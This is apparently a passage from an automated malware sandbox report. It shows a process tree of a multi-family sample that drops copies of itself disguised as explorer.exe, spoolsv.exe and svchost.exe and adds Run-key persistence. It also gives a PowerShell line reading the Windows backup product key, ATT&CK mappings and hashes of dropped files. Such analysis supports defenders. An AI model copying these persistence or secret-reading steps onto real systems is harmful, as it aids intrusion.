                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5952
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                              5⤵
                                PID:5624
                        • C:\Windows\Resources\Themes\icsys.icn.exe
                          C:\Windows\Resources\Themes\icsys.icn.exe
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:2080
                          • \??\c:\windows\resources\themes\explorer.exe
                            c:\windows\resources\themes\explorer.exe
                            3⤵
                            • Modifies visibility of hidden/system files in Explorer
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Drops file in System32 directory
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: GetForegroundWindowSpam
                            • Suspicious use of SetWindowsHookEx
                            • Suspicious use of WriteProcessMemory
                            PID:1220
                            • \??\c:\windows\resources\spoolsv.exe
                              c:\windows\resources\spoolsv.exe SE
                              4⤵
                              • Executes dropped EXE
                              • Drops file in Windows directory
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              • Suspicious use of WriteProcessMemory
                              PID:5516
                              • \??\c:\windows\resources\svchost.exe
                                c:\windows\resources\svchost.exe
                                5⤵
                                • Modifies visibility of hidden/system files in Explorer
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Drops file in System32 directory
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: GetForegroundWindowSpam
                                • Suspicious use of SetWindowsHookEx
                                • Suspicious use of WriteProcessMemory
                                PID:256
                                • \??\c:\windows\resources\spoolsv.exe
                                  c:\windows\resources\spoolsv.exe PR
                                  6⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3528

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            3
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Windows Command Shell

                            1
                            T1059.003

                            Windows Management Instrumentation

                            1
                            T1047

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Hide Artifacts

                            1
                            T1564

                            Hidden Files and Directories

                            1
                            T1564.001

                            Impair Defenses

                            2
                            T1562

                            Disable or Modify Tools

                            1
                            T1562.001

                            Modify Registry

                            2
                            T1112

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            1
                            T1120

                            Process Discovery

                            1
                            T1057

                            System Information Discovery

                            3
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            System Network Configuration Discovery

                            3
                            T1016

                            Internet Connection Discovery

                            1
                            T1016.001

                            Wi-Fi Discovery

                            1
                            T1016.002

                            Lateral Movement

                            Collection

                            Clipboard Data

                            1
                            T1115

                            Data from Local System

                            1
                            T1005

                            Video Capture

                            1
                            T1125

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 07aadd9465b8d2390cef6aeb008d0111ef288d615655a7445ed5f4ff3050e739
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
                            • Path C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
                            • Size 13.7MB
                            • SHA256 1771b5e5afb1f444208f56430fec158ce5d9af3103cc22a2e60a7d6e2d68bec8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            4me4lfxp.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\4me4lfxp\4me4lfxp.dll
                            • Size 4KB
                            • SHA256 2c5fc360aa7ebad5425fd831fe6b9dde7b45d6e453f75146cf018220d73980c5
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            RES55B7.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\RES55B7.tmp
                            • Size 1KB
                            • SHA256 889025d45319f833f6e7bbf90c0793289302b5a2ae0e9cbad0e3678c3872a4d1
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            _raw_aes.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\Crypto\Cipher\_raw_aes.pyd
                            • Size 29KB
                            • SHA256 043e0680a4dc70853f06554b753fbfb1b25c6d8cb13b724a37ef33cdd79e49a9
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _raw_aesni.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\Crypto\Cipher\_raw_aesni.pyd
                            • Size 15KB
                            • SHA256 6ee1d324f3a96401271f2a5aed6799e7e7030a6d1b1aa27d1d9112802a777b44
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _cpuid_c.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\Crypto\Util\_cpuid_c.pyd
                            • Size 10KB
                            • SHA256 3a864813d3b06365efd9ac52951cb6ce64b588eed77c227c0df4a193078e3d09
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            VCRUNTIME140.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\VCRUNTIME140.dll
                            • Size 174KB
                            • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            VCRUNTIME140_1.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\VCRUNTIME140_1.dll
                            • Size 48KB
                            • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _bz2.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_bz2.pyd
                            • Size 84KB
                            • SHA256 2ae45b2ff932dc8a864c862d8150eb3f5b55e60e3e74ec554c4f52c4f1ad81e0
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ctypes.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_ctypes.pyd
                            • Size 140KB
                            • SHA256 8bb22628ae859877b1cf55381c1a8cf54bb0aa70c56295053bc3303262e21c87
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _hashlib.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_hashlib.pyd
                            • Size 71KB
                            • SHA256 3cfb95355576805d6362b878d2207e254125887fce12ff8199becab34beb0694
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _lzma.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_lzma.pyd
                            • Size 167KB
                            • SHA256 d9033e94387aa70777d23514263d342486899256ffc14478be6bb1e6a0b05683
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _queue.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_queue.pyd
                            • Size 35KB
                            • SHA256 00206e5ea1be8b648ca07d1e68ee244a8d0ee1f4126661187dbe3551c68f6e3b
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _socket.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_socket.pyd
                            • Size 86KB
                            • SHA256 ba52c110c0cbc429add306acccf86dd2f77c777a9db68df7cddfc4489e91bce7
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _sqlite3.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_sqlite3.pyd
                            • Size 129KB
                            • SHA256 851e8bfa65328162ddad2dff9f7c213f8eceb2d90baf179aa472704ec3ca6295
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ssl.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_ssl.pyd
                            • Size 195KB
                            • SHA256 a9c54ec4d115597880e0e44ff26b740328d0388a777dfb613d3aa2eb66b31e49
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _wmi.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_wmi.pyd
                            • Size 38KB
                            • SHA256 0650bf237b3f556ba844ba372fef6de1b65d618a608014405360aef83f8a4e34
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _zstd.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\_zstd.pyd
                            • Size 494KB
                            • SHA256 a977471edf7b6712a9e89ada98b79b1973c79740632f820b67365f242b5e05cc
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            base_library.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\base_library.zip
                            • Size 1.4MB
                            • SHA256 a80727fee3460f932a8b5608eda05964c185c46f66a42060b3979d765dda9a49
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libcrypto-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\libcrypto-3.dll
                            • Size 5.7MB
                            • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libffi-8.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\libffi-8.dll
                            • Size 38KB
                            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libssl-3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\libssl-3.dll
                            • Size 1.2MB
                            • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            python315.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\python315.dll
                            • Size 7.5MB
                            • SHA256 9862572fd449f32a62c1eaec2c6750a9c9fa512f4c9c2ea0e66776cf9212b7c2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            select.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\select.pyd
                            • Size 32KB
                            • SHA256 d39e00967809d2d2cf8aea78f6fd39923cfb4ad426ccd19bbfe7163020dafffe
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Lorem ipsum.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                            • Size 1KB
                            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            sqlite3.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\sqlite3.dll
                            • Size 1.6MB
                            • SHA256 73530e8f4555605d716352ee98fe0ce205a09e5eec57e7e6360d4c915efcacd8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            unicodedata.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f42\unicodedata.pyd
                            • Size 735KB
                            • SHA256 ba69f643918cc520331c6a13d489d642131be23dd649d05e0cd1068fae92e76d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_y0ap11ab.1m1.psm1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0ap11ab.1m1.psm1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            icsys.icn.exe
                            • Path C:\Windows\Resources\Themes\icsys.icn.exe
                            • Size 135KB
                            • SHA256 bbeaf1abd33aa7e7c1708099e601e24c3570c629d17c89c8c7edddb4af47ac72
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            4me4lfxp.0.cs
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\4me4lfxp\4me4lfxp.0.cs
                            • Size 1004B
                            • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            4me4lfxp.cmdline
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\4me4lfxp\4me4lfxp.cmdline
                            • Size 607B
                            • SHA256 c9b0a17d3d898b1313dfe70e739dd8f9a46eb3c948cca230a77f815818f111ad
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            CSC6AFC9588463E4DE494D8B426C8FA1A1D.TMP
                            • Path \??\c:\Users\Admin\AppData\Local\Temp\4me4lfxp\CSC6AFC9588463E4DE494D8B426C8FA1A1D.TMP
                            • Size 652B
                            • SHA256 0105178cfc1b999e3979f791980efea98f886d318c8127726e31aae3c8545508
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            spoolsv.exe
                            • Path \??\c:\windows\resources\spoolsv.exe
                            • Size 135KB
                            • SHA256 1c9c5a72278049a53df777c9b5d1a479958383fbc3c07f1b20602462be363e26
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            svchost.exe
                            • Path \??\c:\windows\resources\svchost.exe
                            • Size 135KB
                            • SHA256 c593b595ff5c0cb608a20830f22878b295439f246e0be973018f7c9bbe191295
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            explorer.exe
                            • Path \??\c:\windows\resources\themes\explorer.exe
                            • Size 135KB
                            • SHA256 d821adce2600e3263ffa99dcc65ac5f11a37ee1f86a6a5e6f0a0176e529019ca
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/256-339-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/1220-338-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/2080-141-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/2680-0-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/2680-142-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/3268-212-0x000001A698650000-0x000001A698FF4000-memory.dmp
                            Download

                            memory/3528-139-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download

                            memory/4856-244-0x0000013A5E660000-0x0000013A5E668000-memory.dmp
                            Download

                            memory/5348-192-0x000001F939550000-0x000001F939602000-memory.dmp
                            Download

                            memory/5348-199-0x000001F939610000-0x000001F93961A000-memory.dmp
                            Download

                            memory/5348-191-0x000001F939530000-0x000001F93954E000-memory.dmp
                            Download

                            memory/5348-178-0x000001F9392A0000-0x000001F9392C2000-memory.dmp
                            Download

                            memory/5516-140-0x0000000000400000-0x000000000041F000-memory.dmp
                            Download